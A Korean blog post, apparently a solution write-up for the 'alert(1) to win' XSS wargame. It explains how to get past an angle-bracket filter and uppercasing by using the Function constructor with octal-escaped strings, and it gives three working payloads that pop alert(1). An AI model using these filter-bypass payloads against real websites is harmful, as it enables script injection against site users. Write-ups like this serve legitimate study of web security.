0. 문제

 

function escape(s) {
  if (/[<>]/.test(s)) return '-';

  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

 

Skandia와는 다르게 '<, >' 에 대한 필터링이 추가되었다.

 

 

1. 풀이

 

 

Skandia에서는 '<, >'로 tag를 빠져나와 새로운 tag의 attribute에 encoding된 문자를 넣어 toUpperCase()를 우회하면 되었지만 해당 문제에서는 그게 불가능해졌다.

 

그래서 jsfuck에 대해서 알아봤더니 

[]['filter']['constructor']("alert(1)")()

 

로 함수 실행이 가능했다.

 

위의 문자를 해석해보자면

 

 

[].filter.constructor("alert(1)")()

 

인데

 

 

[].filter
// ƒ filter() { [native code] }

은 함수이고

 

 

[].filter.constructor
// ƒ Function() { [native code] }

은 원시 함수가 나오게 된다.

 

 

이 원시함수의 파라미터로 인자값을 넣어주면 익명함수가 완성되고

[].filter.constructor("alert(1)")

/*
  ƒ anonymous(
  ) {
  alert(1)
  }
*/

 

 

마지막의 ()를 넣어줌으로써 익명함수가 실행되는 것이다.

 

 

 

이걸 이제 문제에 적용해보면 

 

 

최종적으로 

 

[]["filter"]["constructor"]("alert(1)")()

 

을 실행시키면 되기 때문에 문자열은 8진법으로 "\"를 사용해서 우회했다.

 

1. ");[]["\146\151\154\164\145\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()// : // first one

2. ");URL["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")(" : // []["filter"] => URL

3. ");URL["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164(1)")(" : // "\50\61\51" => "(1)"

 

 

[공부내용]

 

 1. []['filter']['constructor']("code")() -> code execute

 

 2. []['filter']은 다른 함수로 대체가능

 

 3. window["alert"](1)도 가능

 

 4. self, top, this 등을 사용하여 window Object를 참조할 수 있음

 

 5. Function ("return this")() => window Object가 return 됨

 

 

 

[Reference]

 

https://github.com/aemkei/jsfuck

 

 

'Web hacking > alert(1) to win' 카테고리의 다른 글

[alert(1) to win] - 풀이현황  (0) 2019.12.06
[alert(1) to win] - %level% - 191206  (0) 2019.12.06
[alert(1) to win] - TI(S)M - 191124  (0) 2019.11.24
[alert(1) to win] - JSON 3 - 191122  (0) 2019.11.22

+ Recent posts